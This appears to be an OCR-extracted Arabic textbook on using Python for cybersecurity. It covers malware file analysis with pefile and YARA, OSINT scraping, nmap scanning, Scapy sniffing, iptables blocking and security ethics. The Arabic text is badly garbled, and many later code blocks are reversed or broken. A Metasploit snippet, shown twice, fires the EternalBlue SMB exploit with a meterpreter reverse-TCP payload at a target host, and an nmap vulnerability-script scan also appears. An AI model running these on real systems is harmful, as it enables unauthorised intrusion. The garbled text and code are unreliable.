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as lapily wSglw dayea) LAl Glaopl padg cbfas dloe ga dtnAll Glaopl Julai
1aolaaiwl dgawg dgall @ibifo Jhad) Joll 138 (1 duwlwi élai Python

Al obaopl Judas gile dole AT ILMLE
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dipAll olaopl Judai glgil

oSl Jalail |

Jg1Swolizall Juawl ¢
JgiSolul Juail P

yara-python g pefile Python: wlgai  r.r.E€

pefile: plaAiwl PE calo Juai :Jlo
import pefile

pe = pefile.PE('malware.exe')

print (hex (pe.0PTIONAL_HEADER.AddressO0fEntryPoint))

for entry in pe.DIRECTORY_ENTRY_IMPORT:
print(entry.dll.decode())

:aiuA)l obaop)l sl YARA pladiwl :Jbo
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import yara

rules = yara.compile(source='""
rule Demo {
strings:
$a = "malware"
condition:
$a
X
.

print(rules.match('sample.exe'))

Al Glaopl Juai (1a Python jga :anllall M.ILE
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Ul golll (né el dulw Dl Gléuhil gl Jndll

&oa ddoae Ul (Open Source Intelligence -- OSINT) @agidaall jalaoll GlbAuwl Jmni;
Jolgil Glniog &ygusIll gélgall Jio dagiao jalno (o dolell daliall Glogleall Juaig
Jall 138 (1é dy)ga0 8lal Python &) cuunl .dole)l Gl aclgdg «whaiiallg «iclaiall
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OSINT (e dole 6)A;  L.E.E

pe oldhial gl ayw jalno Ul aalall G 9a dolell daaltiadl Gl Juai gile OSINT aaisy
LAl amaiDl &g «Olaaail aaay (Oldwdaill peal Glogleoll 0ia pn.uu.; .Quigild
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OSINT (14 d&oaanuall Python wigal  W.E.E

OSINT. (Juaig goa (14 pnmu gl ©lisall (o d=uwlg degoao Python jags

BeautifulSoup

olaan go ol golaiwlg XML HTMU claiuwo Juai BeautifulSoup &uio padiws
~ewgll

‘g daan o hylgll (plAnwl :Jlio

import requests

from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')

for link in soup.find_all('a'):

print (link.get('href'))

Requests
.ol clag (APIs) daopll claslgy gélgall 2o Jelaill Requests &ifo paAiws
:&wluAiwl Ologleo) dunop danlg pllsiwl :Jlio

import requests
response = requests.get(

"https://api.threatintel.com/ip/192.168.1.100"

if response.status_code == 200:

print(response. json())
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Whois
.olalaill Jiaws ologleo wla) whois &xifo padiug
: glad WHOIS by Juas @ Jlo

import whois
domain = whois.whois("example.com")

print(domain.registrar)

print(domain.creation_date)

Shodan
.l alniall aall Joa logleo gaal Shodan &xko paiws
Shodan: plaaiwl IP glgic Julai :Jlo

import shodan

api = shodan.Shodan("API_KEY")
info = api.host("192.168.1.100")

print(info["org"])
print (info["ports"])

OSINT J ddo=l pladaiwll olla  E.EE
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import tweepy

auth = tweepy.OAuthHandler ("API_KEY", "API_SECRET")
auth.set_access_token("ACCESS TOKEN'", "ACCESS SECRET")
api = tweepy.API(auth)

tweets = api.search(g="malware", count=10)
for tweet in tweets:

print (tweet.text)

dAwodl oldudnill pea
.Olasénill peal dole jalno (o drad) dal goal Python pladiwl <oy
:aaan (1giao JAla anliao ool e dall :Jlo

import requests

from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')
for p in soup.find_all('p'):

if "evidence" in p.text.lower():

print(p.text)

IP ¢policg wldlall Judai
IP.cggucg(LiﬁUQUIésuuu_pﬂﬁalOSINT_pajiuQ

import requests
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ip = "192.168.1.100"
response = requests.get(

f"https://api.abuseipdb.com/api/v2/check?ipAddress={ip}"

print (response.status_code)

Python pladiwl OSINT &ylac diail :(éuhs Jio O.E.€
:Jols (a0 Jlio

import requests
from bs4 import BeautifulSoup

import whois

# Step 1: Scrape a website
url = "https://example.com"
response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')

print ("Extracted links:")
for link in soup.find_all('a'):

print (link.get('href'))

# Step 2: WHOIS lookup
domain = whois.whois("example.com")
print ("Registrar:", domain.registrar)

print ("Creation date:", domain.creation_date)
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intel = requests.get(

"https://api.threatintel.com/ip/192.168.1.100"

if intel.status_code == 200:
print ("Threat intelligence data:")
print(intel.json())
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.Galgal Glaiwllg (oEuill jand «Glawdl Juai Jio olao diosl :aiasll
.21l Jae pw goi Gl jalnog wigal 6ae goa 1poall
Al Olpgil of 63532l Glyaaul go gyl @Sl taigpoll -
goill 13a) Jioll Juall laio (il (il Wolai (| dalal dangrigg Python abluy Jeai
-pehil go
CupSul) haAil dlapo U0
-@aa YKy ol gadill aay waop paw (il QS Jud

w@aall 3335 gLl 6glhAll -
.agng; Wiiail wglhall doaall gi dxiolll 1ol ayans

Aulao a5uh o dagidoll Aalioll (aaa diosl Jio -
olaollg GUArl 3aaj tdull dghaall -

:Juo -
IP. ¢polic gUai :UAxal *
.ailhg dagidoll Aalioly doild (olkhaall *

auuliodl owitoll juial :aUWl 6ghAll -
-l Juai) pandasg «ganall python-nmap pladiwl :Jlio -
Jol pw puani :asylfl 6ghhAll -

:Juo -
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IP. cuglic Glai Judiwl .l
Adlioll and Aai WC
- RH adgig Qilill guoas WP

cuudl pghs PO

.pohil alago 1ay JadaAil ikl asy

aiwl alacl ULl 6ghhAll -

pip install python-nmap pandas

2950 &S :aull bglaAll -
:angidoll Adliall (and) (ande cusin 1 Jbo

import nmap

import pandas as pd

def scan_ports(ip_range):
scanner = nmap.PortScanner()

scanner.scan(hosts=ip_range, arguments='-p 22-443')

results = []
for host in scanner.all_hosts():
for proto in scanner[host].all_protocols():
for port in scanner [host] [proto] .keys():
results.append ({
"TP": host,
"Port": port,
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"State": scanner[host] [proto] [port] ['state']
b

return pd.DataFrame(results)

results_df = scan_ports("192.168.1.0/24")
print(results_df)

JWAUl :aUWI 6ghAll -
.ilil dan o a5llg 3930 GUai ke cuyySul LAl

aliall 6alelg cuwnail :asylyl 6ghAll -
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.Task Scheduler gi cron plaAiwb luLo.b CuplSull Jaais :aJgaall -
SIEM &akil I qitiill Juwyl :q0a)l -

B33l Olauaall Gag Ujga cupudl ¢uyans tailnll -

annio olySud ddoe aliol  0.1.0

Apache owlaw JuAas
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import re

def analyze_logs(log_file):
with open(log_file) as f:
for line in f:
if re.search(r'404|500|SQL injection|XSS', line, re.I):
print("Potential attack:", line.strip())

analyze_logs("access.log")

Galgall &liwl cups

import os

import time

def isolate_ip(ip):
os.system(f"iptables -A INPUT -s {ip} -j DROP")
time.sleep(5)
print (£"IP blocked: {ip}")

isolate_ip("192.168.1.100")
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Burp g (Wireshark (il ol Gilgal go Python aoa 1.0
Suite)

Ul goll (18 doadioll Python wlids :guolall Jadll
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S&uiol wlgal go Python aoailila) 1.M.O
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.2alg jluwo (14 63a=io wigal lny :Joll i ayagi

Wireshark go Python goa  (.I.0

aufo gl tshark 6lal pe Python 4 ahy Soug Gfuidl a$)x Juad) Wireshark p;m.uu
.PyShark

PyShark plaAiwl
pip install pyshark

:auill piall Juaig bladl :Jlio
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import pyshark
capture = pyshark.LiveCapture(interface='eth0"')

for packet in capture.sniff_continuously(packet_count=10):
if 'IP' in packet:
print("Source:", packet.ip.src, "Destination:", packet.ip.dst)
if 'TCP' in packet:
print ("Ports:", packet.tcp.srcport, "->", packet.tcp.dstport)

6janall Wireshark ol Juai  P.r.0

import json

with open("capture.json") as f:

packets = json.load(f)

for pkt in packets:
layers = pkt.get("_source", {}).get("layers", {})
if "ip" in layers:

print (layers(["ip"] ["ip.src"], "->", layers["ip"]["ip.dst"])

Suite Burp go Python goa E.M.O

aaalg 9f REST API pe baop @y pSail gfoug «wgll Olaulni ool jwidl Burp Suite oaiuy
.Extender API

APl REST plaAiwl (ana diasl



import requests

import time

"http://127.0.0.1:1337/v0.1"
{"Authorization": "Bearer API KEY"}

api_url

headers

scan = requests.post(
f"{api_url}/scan",
json={"urls": ["http://example.com"]},

headers=headers

scan_id = scan.json() ["id"]

while True:
status = requests.get(
f"{api_url}/scan/{scan_id}",
headers=headers
) .json() ["status"]
if status == "succeeded":
break

time.sleep(5)

Python pladiwl &nnio (uluw gol Glgal ey 0.1.0

Ul golll (18 doadiall Python Glids :guoldll Jnall
alayo a9 Jalaidll Ghio 16 Lols o5 Python pladiwl danio ol wigal cly pu
Ll bl &S A2y doadio



q)

Sanl Wlgal (1w 13l 1.M.0
.Josdl dipy cuwa pons dlalll 1ol (awnAs -
.yl wlgall agan jolas :)Kw Ul -
.63alg 6lal 18 iy dlaiwll (Judadl aoa :JolKul -
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JWA IP JAng s 6lal :Jio  Ar.O

from scapy.all import sniff

import os
malicious_ips = {"192.168.1.100"}

def handle_packet (packet):
if packet.haslayer("IP"):
src = packet["IP"].src
if src in malicious_ips:

os.system(f"iptables -A INPUT -s {src} -j DROP")
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print("Blocked:", src)

sniff (prn=handle_packet, count=0)
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pip install scapy
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from scapy.all import sniff

import os

def packet_callback(packet):
if packet.haslayer('IP'):
src_ip = packet['IP'].src
if src_ip in malicious_ips:
print(f"Malicious IP detected: {src_ip}")
block_ip(src_ip)

def block_ip(ip):
os.system(f'iptables -A INPUT -s {ip} -j DROP')
print(£f"Blocked IP: {ip}")

malicious_ips = {"192.168.1.100", "192.168.1.101"}

print("Starting network monitoring...")

sniff (prn=packet_callback, count=0)
sl
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from setuptools import setup, find_packages

setup (
name="malicious_ip_blocker",
version="1.0",
packages=find_packages(),
install_requires=["scapy"],
entry_points={

"console_scripts": [
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"blocker=malicious_ip_blocker:main",
g
I

6lall @Jgan :2 6glhAJl -
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from scapy.all import sniff

def packet_callback(packet):
if packet.haslayer('IP'):
print (f"Source IP: {packet['IP'].src/, Destination IP:
— {packet['IP'].dst/}")
if packet.haslayer('TCP'):
print (f"Source Port: {packet['TCP'].srcport}, Destination Port:
— {packet['TCP'] .dstport /")

print("Starting network traffic analysis...")

sniff (prn=packet_callback, count=10)
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Vulnerability Scanner Olil auwlo 12 Juodl -
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import nmap

def scan_ports(ip_range):
scanner = nmap.PortScanner ()
scanner.scan(hosts=ip_range, arguments='-p 22-443')
for host in scanner.all hosts():

print (f"Open ports on {host/: {scanner[host]['tcp'].keys() /")

scan_ports("192.168.1.0/24")

Log Analyzer &Uaul Jlao :3 Jlodl -
.alaino Gload Glpbdo wlikfly GlUaull Juai bla

import re

def analyze_logs(log_file):
with open(log_file, 'r') as f:

logs = f.readlines()

attack_patterns = ["404", "500", "SQL injection", "XSS"]
for log in logs:
for pattern in attack_patterns:
if re.search(pattern, log, re.IGNORECASE):
print (f"Potential attack detected: {log.strip()} ")

break

analyze_logs('access.log')
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lasic b .a<uidl ardlyo diasill Wiio A io ¢lifall &l @ioghhiog Python dlaluy (Jeai
lallaig Lol a5 hails 6lal cly likoy matplotlibg pandasg Scapy Jio whifo (e
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pip install scapy pandas matplotlib
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from scapy.all import sniff

def packet_callback(packet):
if packet.haslayer('IP'):
src_ip = packet['IP'].src
dst_ip = packet['IP'].dst

print (f"Source IP: {src_ip}, Destination IP: {dst_ip/")

print("Starting network monitoring...")

sniff (prn=packet_callback, count=0)
sl
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from scapy.all import sniff

import pandas as pd
packet_data = []

def packet_callback(packet):
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if packet.haslayer('IP'):
packet_data.append ({
"Source IP": packet['IP'].src,
"Destination IP": packet['IP'].dst,

"Protocol": packet['IP'].proto
b

sniff (prn=packet_callback, count=100)
df = pd.DataFrame(packet_data)

anomalies = df[df ['Protocol'] == 1]
if not anomalies.empty:
print("Anomalies detected:")

print(anomalies)
tQ il
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import logging

logging.basicConfig(
filename='network_monitor.log',
level=logging.INFO,

format="' = !



for _, row in anomalies.iterrows():
logging.warning(

f"Anomaly detected: Source IP={row['Source IP']},

f'"Destination IP={row['Destination IP']}, "

f"Protocol={row['Protocol']

a<uidl &5 n) (il penill 15 dghAall -
Ly a<uidl a5 blosl Ayl matplotlib plaAiwl

import matplotlib.pyplot as plt

protocol_counts = df['Protocol'] .value_counts()
protocol_counts.plot(kind='bar')
plt.title("Network Traffic by Protocol")
plt.xlabel("Protocol")

plt.ylabel("Packet Count")

plt.show()
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pip install pefile yara-python pandas
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.@iuAll Windows ©laop (1o bJLc doaaiuall Portable Executable (PE) wlalo
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import pefile
pe = pefile.PE('malware.exe')

print (f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint) /")
print (f"Image Base: {hex(pe.OPTIONAL_HEADER.ImageBase) /")

for entry in pe.DIRECTORY_ENTRY_IMPORT:
print (f"Imported DLL: {entry.dll.decode()}")
for imp in entry.imports:

print(f" Function: {imp.name.decode() /")
sQ il
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import yara
rule = nnn
rule ExampleRule {
strings:
$strl = "malware"
condition:
$stri
}
rules = yara.compile(source=rule)
matches = rules.match('malware.exe')
for match in matches:
print(f"Match found: {match}")
sQ il
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from cuckoo import CuckooAPI

import time
cuckoo = CuckooAPI("http://localhost:8090")

task_id = cuckoo.submit_file('malware.exe')

print(f"Task ID: {task_id}")

while True:
status = cuckoo.task_status(task_id)
print(f"Status: {status}")
if status == "completed":
break

time.sleep(10)

report = cuckoo.task_report(task_id)

print (report)
sQ il
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import re
with open('malware.exe', 'rb') as f:
data = f.read()
ip_addresses = re.findall(
r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b",
data.decode('utf-8', errors='ignore')
)
for ip in ip_addresses:
print(f"Potential C2 server: {ip}")
sl
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pip install python-nmap scapy requests
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import nmap
scanner = nmap.PortScanner ()

target_ip = "192.168.1.0/24"

scanner.scan(hosts=target_ip, arguments='-n -sP')

for host in scanner.all hosts():

print(f"Active host: {host}")
tQ il
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import nmap
scanner = nmap.PortScanner ()

target_ip = "192.168.1.1"

scanner.scan(target_ip, arguments='-sV --script vuln')

for host in scanner.all_hosts():
print(f"Scan results for {hostjt:")
for proto in scanner[host].all_protocols():
print (f"Protocol: {proto}")
for port in scanner[host] [proto] .keys():
service = scanner [host] [proto] [port]
print (f"Port {port}: {servicel['name']} ({servicel['product']

< service['version'] H)")
sl
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from pymetasploit3.msfrpc import MsfRpcClient
client = MsfRpcClient('password', server='192.168.1.1")

exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue')
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exploit ['RHOSTS'] = '192.168.1.100"

exploit.execute(payload='windows/x64/meterpreter/reverse_tcp')
tQ il
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import pandas as pd

results = [
{"Ip": "192.168.1.1", "Port": 80, "Service": "HTTP", "Vulnerability":
— "SQL Injection"},
{"Ip": "192.168.1.1", "Port": 22, "Service": "SSH", "Vulnerability":
< "Weak Password"},
{"IP": "192.168.1.2", "Port": 443, "Service": "HTTPS", "Vulnerability":
— "SSL/TLS Misconfiguration"},

df = pd.DataFrame(results)

df .to_csv('penetration_test_report.csv', index=False)

print ("Report generated: penetration_test_report.csv")
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import re
def validate_input(input_string):
if re.match(r'"\w+$', input_string):
return True
else:

return False

user_input = "example_input"



if validate_input(user_input):
print ("Input is valid")
else:

print("Input is invalid")
sQ il

@l has powy Cyny olAsall go Gaail Lhai s cyfull padiu, +
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. Oload gl 135 26 diwA oud JAal el gioy -
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.iol ujai Jola gl diwl Glusio
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import os
api_key = os.getenv('API_KEY')
if api_key:
print (£"API key: {api_key}")

else:

print ("API key not found")
tQ il
Syl JAls aliS o Uy diwll olpsio go AP alido wla o -

ddgigog diol whiso pladiwl P
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10Ul paiiiil) cryptography éuifo pladiwl :Jlio

from cryptography.fernet import Fernet

key = Fernet.generate_key()
cipher = Fernet (key)
encrypted_data = cipher.encrypt(b"Sensitive data")

decrypted_data = cipher.decrypt(encrypted_data)
print(decrypted_data.decode())

tQ il
.Qiol adyny Bpas clag Ol paud cryptography duifo 6panill padius

clhAll aan dalleo Guhs €
oo gualeil yile pUAYl aclusg GQwlun Ologleo s clnAll 631l dalleall &ioi
.a=edbgioll pe ol

:elhAll diol dalleo :Jlio

try:

result = 10 / O
except ZeroDivisionError:

print ("Error: Division by zero")
except Exception as e:

print(£"An unexpected error occurred: {ej")

:epi:.ll
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- ;udllg awlaoll gu byl dictg claiill il set pladiwl Jio «cawliall Gl JS@ Al

set pladiwl :JUo

ip_list = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
ip_set = set(ip_list)

if "192.168.1.1" in ip_set:
print("IP found")

tQ il
claill WAl huwgiall (1é WU Lioj Iades set yagy *

ol cpwas
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squares = [i ** 2 for i in range(10)]



ARA

Julall Juail olgal pladiwl W
aplall GUIALI blés ayans (né cProfile Jio wlgal acluys
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import cProfile

def example_function():
total = O
for i in range(1000000):
total += 1

return total

cProfile.run('example_function()"')

dpranildl &l &uléd  ELLV
.plaauwll éalelg pohilly padll (1a Jauwl dilal) aLLAI dpanidl A
PEP 8 wlauyb plll .

def calculate_area(length, width):
return length * width

&0 panb &S .0

.plaaiwll éalel ablé spsn Jlga Ul dpauill plud

def validate_input(input_string):

return input_string.isalnum()
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def process_input(input_string):
if validate_input(input_string):
print ("Input is valid")
else:

print ("Input is invalid")
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ge gl dlwlo pilgd gl &ap Olpis (né dlgubl Glgal Glifall go il 1ags
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Python Security Response Team J &uioll &laiwll §upé Olpin (1o dlubll :Jlo
.(PSRT)

Gbalaic Ul §lal ¢ilgal pladiwl .
@abanig Gbalaicll guii (14 poetryg «pipenvg pip Jio wlgal aclwy

:pip oladuwl dayaall pjall o Gaaul 1o
pip list --outdated
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(Staging Environment) &wi &in 1o @pidl Qi &n (e olaaill A Jud

HWALD dwAlpial diw alael :Jlo
python -m venv test_env

source test_env/bin/activate

pip install -r requirements.txt
sl
.ol olibaadl jwial Gbaloicll cuulig duAlial aiy cliul Qi

Ol Jawg jlanll olhallo dealo [

padl (Changelog) Gluil Jawg (Release Notes) jlanll olaalle gile glhl
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63220l ljlanll cwidy P

pe Ol wiaig lhduwll glaal (Version Pinning) 633a0)l Ghlanl cads padiwl

‘requirements.txt calo pladiwl :Jlo

requests==2.26.0
scapy==2.4.5
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:GitHub Actions plaiiwl :Jlo

name: Update Dependencies
on:
schedule:
- cron: 'O O * x Q'
jobs:
update:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.9'
- name: Install dependencies

run: |

- name: Check for outdated packages

run: pip list --outdated
sl
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:J9duo JKuy 645 jwial :Python plaAiwl Jio

import requests

def test_vulnerability(url):
try:
response = requests.get(url)
if "vulnerable_pattern" in response.text:
print (f"Potential vulnerability found at {urli")
report_vulnerability(url)
elisel
print (f"No vulnerability found at {url}t")
except Exception as e:

print (f"Error testing {urlt: {e}")

def report_vulnerability(url):

print (f"Reporting vulnerability at {url} to the security team...")

test_vulnerability("https://example.com")
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tQ il

adyny laic ¢lLUL pgdy pf «dloino 64 Ul puiy o 2929 CuySull pidy -
.&Jgguuo
angnAll plpal .
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import hashlib

def anonymize_data(data):

return hashlib.sha256(data.encode()) .hexdigest()

user_ip = "192.168.1.100"

print (anonymize_data(user_ip))
ynini|
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def check_legal_compliance(target):
if target.startswith("192.168."):
print("Scanning is compliant with internal policies.")
return True
else:
print("Legal approval may be required.")

return False

if check_legal_compliance("192.168.1.1"):

print("Starting scan...")
tQ il
el Jié aalal olwlull a9 @y agowo gaaall gl go cyfull Géai -
auaoll aaljll .
.aJUiHQ(JhlciH(Jc dJoduuall (Joaig &ualdnillg (§anll duaoll dalil Jouls
rguao J5iy il Guigs o
def document_findings(findings):
with open('findings_report.txt', 'w') as f:
for finding in findings:

f.write(f"{finding \n")

print ("Findings documented.")

findings = [
"SQL Injection vulnerability",
"XSS vulnerability"

]

document_findings(findings)
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def check_authorization(status):

return status == "signed"

if check_authorization("signed"):

print("Authorization confirmed.")
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.Joduall ol 8485 pjeig &xaUALI Glwylooly (regll piv
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def conduct_workshop():
print("Ethical Hacking Workshop")

print ("Topics: disclosure, privacy, law, integrity")

conduct_workshop ()

adUAD oluicll dwoal :anlAl 0.V
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import nmap
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scanner = nmap.PortScanner()
scanner.scan('192.168.1.1"', '22-443")
for host in scanner.all hosts():

print (£f"Open ports on {host/: {scanner[host]['tcp'].keys() /")
tQ il

anlg Jlio gag dagiaall ddliall yandl python-nmap &ifo cuSull padiwy
.Python 6gd9 dbhluw e
Jlieg gulg wliko plAj .
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import platform

import subprocess
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def monitor_ traffic():
if platform.system() == "Windows":
subprocess.run(["ping", "google.com"])
else:

subprocess.run(["ping", "-c", "4", "google.com"])

monitor_traffic()
sQ il
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from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1")
exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue')
exploit ['RHOSTS'] = '192.168.1.100"

exploit.execute(payload='windows/x64/meterpreter/reverse_tcp')
Qpu
.Metasploitg Python plaaiwb EternalBlue JUiwl 3udis aioih cupfudl pgdy -+

aiuAll Gbaopl Jula .
.a0xd albaiwl Ologleo (plAiwlg diuAll ool Jdai digd élai Python as
:pefile plariwl PE o (Julai :Jlo

import pefile

pe = pefile.PE('malware.exe')
print (f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressO0fEntryPoint) /")
for entry in pe.DIRECTORY_ENTRY_IMPORT:

print (f"Imported DLL: {entry.dll.decode()}")
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IsolationForest import sklearn.ensemble from

np as numpy import

({h21,0m7,007 ,[31 ,[2] ,[1array([[.np = data

(1.0=IsolationForest(contamination = model

fit(data).model
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predict(data).model = predictions

(predictions)print
sl
Lu.w bl 1a 3gaull cliis U Tsolation Forest Qagos cayful 138 paAiuy *
.Jreanll 53l gile aaigoll il goll y10 Python wljad
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:boto3 pladiwl AWS (1a &uiol plao diosl :Jlio

boto3 import

(‘ec2'client(.boto3 = ec2

describe_instances().ec2 = response
:['Reservations'response[ in reservation for
:['Instances'reservation[ in instance for

("{['Name']['State'instance[} State: ,{['Instanceld'instance[} ID: "Instancef)print
sl
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sniff import scapy.all from

(packet):packet_callback def
:("IP'haslayer(.packet if
("{dst.['IP'packet[} IP: Destination ,{src.['IP'packet[} IP: "Sourcef)print

(10=count ,packet_callback=sniff(prn
sQ il
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resource): ,(usercheck access def

user_resources[user]: in resource and authorized_users in user if
True return

else
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False return

{"user2" ,"user1"} = authorized _users
{["resource2"] :"user2" ,["resourcel"] :"userl"} = user_resources
"userl" = user
"resourcel" = resource
resource): ,check_access(user if
(granted" "Access)print
celse

(denied" "Access)print
sl

&y 18 Python j93 o «Jgngll (16 035 Ghio Gubns &l Juiall 13a ang, -
.Qyanll aail

Ul goll (18 gobl dhdimall (ol
‘@io (ol go vl gulwudl goll (1é Python (adiwwe Jooy
Guuiilg aiosDl .l
@bl pai o rdeall Josl pw Guuiig é);<iall plaall diasl ile Python 638 A=
.guoll Jaoll (14

:Galgall alaiwll atosl :Jlo

0s import

time import



IEE

(malicious_ip):isolate_system def
("{malicious_ip} IP: with system "Isolatingf)print
('DROP j- {malicious_ip} s- INPUT A- iptables'fsystem(.os
(5sleep(.time

(analysis..." further Initiating isolated. "System)print

('100.1.168.192"isolate_system(
ey
&l diasf (14 Python j93 aisgo (il JSii G0 pUAT Jjzs caupSull pgd, -
.Galgal
@ldaig Glaarall ohuaiwl! .F

Glogleo Ayeg Juaig gon) dllio 6lal Ao Python (16 olbdl Jdai ohad Jeai
LOlaaall olhjuaiwl

:pandas pladiwl yaanl Ohkaiwl Gl Jdas :Jbo

pd as pandas import

} = data
,['102.1.168.192" ,"101.1.168.192" ,"100.1.168.192"] :"IP"
J['Low" ,"Medium" ,"High"] :Level" "Threat

non

,['Scanning" ,"Phishing" ,"Malware"] :"Type"

DataFrame(data).pd = df
(df)print

:epi:.ll
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Juai (16 Python 694 Lu.w Olyaall ol Juaid pandas &uiso JUodl padiuy -
Al oluAiwl

Janoll dagido ohaopll (1 doalwall P

&J_JLJ.LD y1o doaluol) LDJ.Q Ouonl g1 (unidoll Python J janoll Qgiaall plAl Aiay
Ao éalaiwllg &ueoino

.yara-python gl Scapy Jio janall dagigo wlgal (1 doalwall :Jlio

Olicllg GLaaill

18 @Al gl obaaill Ay dua gi Ul Python J aclgll (hdiwall o péyl (ile
:olall

clall agua .

.Obluall da)s plaoll 3pais aie clall (14 3948 (Ul dpnaill Python dsuln (1385 28
.Ct++g C Jio vl go poall gl diwno Gbifo pladiwl cli go @Al gSoug

:Cython plaAiwb clall cuuai 1 Jlio
n): int)fibonaccli def
i,1=b,0 =3 int cdef
(n):range in i for

b+a,b=Db,s

3 return
sl

.Cython plaAiwl épauill elal guuai 4i Jiall ang, -
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axaopll 6pauill ol .M
Glaibl PEUUI oy U3 diol pé dxop Clujlao yul Ghal Python dlbliuy (1385 28
. pUAGL 6pauill d2alpog dioll daopl

:gdall Oloaa gio) pajiwall LA (o Gaail 1o

re import

(input_string):validate_input def
input_string): ,""\w+S'rmatch(.re if
True return
telse

False return

"example_input" = user_input

validate_input(user_input): if
(valid" is "Input)print

telse

(invalid" is "Input)print

sQ il

.ol daopll Olwjlao dwoal o «psdiwall LAY dan (o culul Gaan -

Ul golll (16 ggil) Guito Jadiwo :EnlAll

AUl olaksll &151go (14 clgw agegll o pisl guiluud! (ol (1 Python Jadiwo Jooy
olghil &Sigo JUA (o9 &Ko Jola pghi (14 doalwall 9l badeall wllas)l diasl gl
18 Jl=é allws Python pladiwl (16 jhoiwll cunniiall gSay Glulaoll Jaal plilig

byl olayaail déaalgo
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Gl o gunisall gXos gl Glgalll deulih (1é Python (iéuiw «(aéyl pllll jghhi gog
Python glis] glo da of baio cuif clguw .yliio J<iiy hylio plle (16 &laallg .diosllg

.Ul golll Yo (16 gugalo pi Glaal yile &udydn 6369 unalis 8jpo claiouy
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Ul (bl (18 9ol plaAwl eyl

aaslall
oo @ giaii o) «yaall Cybersecurity alle 16 duubwll 6aoell aalS @uwas Python cuii
Ol Bpa 13 lapino gf airo ¢S clgw . Gulaill (16 8 8989 «aleill (16 dbluyg &ile &igyo
18 .&alioll &uioll ohaail go Joleill (ile clijng s Jiy jiss gl ¢Say Python oles
1o Joubs il golll (1é Python pladiwl cal) danlg @upb dlhyA 2Ai awdll 13

Jaoll 138 (18 (ndpdn i Glaalg clijlao clid dudoe ilnig duwlwll Glikallg «aleil

¢ il golll Jai go ggil lei |3lo)
1m0 Gl 832 (Ul golll (uaido (1a) dladall dUl Python ass
.owiaiol) duwlio Wleai dhuuw d;92) duiw Python jais : aleil dgaw -

il dhpuull olipfull go olaall go guwlg GUni (1 Python pladiwl oy :aigyoll
. padioll ULl Jua

.uiol doao <) lyds éjala @lgal Python J Ll il plAll jagy :olifall 849 -

|J.O.LLLLO im:ag jlgo pady Llo.u.ug loAA lszmmo Python cllioi :isainoll pcall -
. L}J. ..UDJ[SZL OLU

cliljad jj=i annio lgal pahig (oLl Julaig « olaall diosl clifoy Python alei JUA (o
.Julpl golll (na

pleil jalno

Quonl Jlo (16 Python pladiwl cadl gle daclus gl jalaodl o degono iy lowd
gl
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cupi Ul pe dujail algall Wl
Ol Jouiti il ol Python (14 dnnAdio wlga yagi :Cybrary -
.aiaslig
ol Glauhill (ile S5 @0 Python (14 lgs paéi :Coursera
J1aidal dango padioll yul gnaiall (ngiwell (o @higa (ile (nging :Udemy -
.Ul oDl

wis)l .r
Glpall (na Python pladiwl) (lae Jua :Seitz Justin J Python' Hat * "Black *
.Ghall ollialg
agoll (na Python pladiwl (e j5p :0'Connor TJ J Python' ™ Violent -
gulia)l Julaillg (il
aoll (14 dalidn)l Python oléanhi (ihg) :Cybersecurity' for ~~Python -
.Ul
Ju9)allg Guqul P
Aaslifog a2l plei) Jolb gapo :ggil yrowyl Gugil -
.adneio duoules oUliog Lwg)a pady :Python Real -

.Python (ol adleio jjlgo ile 19y GitHub gagiwo :Security Python -

o)l il Olaio €
pladiwl il golll wljlaoe @uhil olpideg @hans yagi :Box The Hack -
.Python
Python GliSw ¢pjlos Jouly gilelas cuyyai :TryHackMe -
.Python plaAiwl daopll Gllao ¢uwai anio :LeetCode -



10-

Ul goll) auwlwDl ggil wliso
Ul goll Jlao y1o \oles ciy yuwl Python ©liso oal b loud

Scapy .
&Suil pja Julaig dallea) &i9é &uiso Scapy A
:ICMP (Ping) wlbh Juwyyl :Jlo
* import scapy.all from
ICMP() / ("1.1.168.192"=IP(dst = ping

(2=timeout ,srl(ping = response

show().response
sQ il
.Scapy &0 Gljad tadgo @biwll JApg ICMP s cuSudl Jwy
Nmap .I
Sp@a Dl liuslg olluill jana) PAAL Nmap golpl daalg 1a python-nmap &uiso
:dagiaoll Adliall (paa (Juo

nmap import

PortScanner().nmap = scanner
('443-22','1.1.168.192"'scan(.scanner
all_hosts():.scanner in host for

("{keys().['tcp'scanner[host][} :{host} on ports "Openf)print
sQ il

Nmap aayAg ljpo dagiaol Aaliall e by TP glgie cuSull jandy -
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PyCryptodome .W
il clag panil Jio dypaniil Glloel) annAo PyCryptodome &iko

:AES plaaiwl auwy paii :Jio

AES import Crypto.Cipher from

get_random_bytes import Crypto.Random from

(16get_random_bytes( = key

MODE_EAX).AES ,new(key.AES = cipher

(‘Security! Cyber ,Hello'bencrypt_and_digest(.cipher = tag ,ciphertext
(ciphertext)print

Qi
PyCryptodome &ui<o ¢ljad higo AES plaiwl dlwy pait cuul pgd, -

Requests .E

Joleillg cugll a5 )a Julai) 6aua0 (iag HTTP wlllh Juul Requests duiso pam.uu
.API go

:GET wlb Juy)l :Jlio
requests import

("https://example.com"get(.requests = response

text).(responseprint
tQ il

.Requests &iso alnluy |J.ab.0 Qlaiwll gudnyg GET clb copfudl Juwy -
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BeautifulSoup .0
gl olhdn go olilwl alaiwl &nnio BeautifulSoup &iso
icug daan go hylgyl alaiwl :Jio
BeautifulSoup import bs4 from

requests import

"https://example.com" = url
get(url).requests = response
("html.parser' ,text.BeautifulSoup(response = soup
:("a'find_all(.soup in link for

(("href'get(.(linkprint
sl

.BeautifulSoup Wilko| l:ng.o 9 Gaan o hylgyl groa cuySull Qi -

Gl golll (1d gail plei ddac ailnj

ieadl le daclws (ull ddo)l pitnill Ay (1l lowd

open GlghAay il
dndes jsT gylive gl bayyay Jéul o5 dlawuy olipw &S, Tl
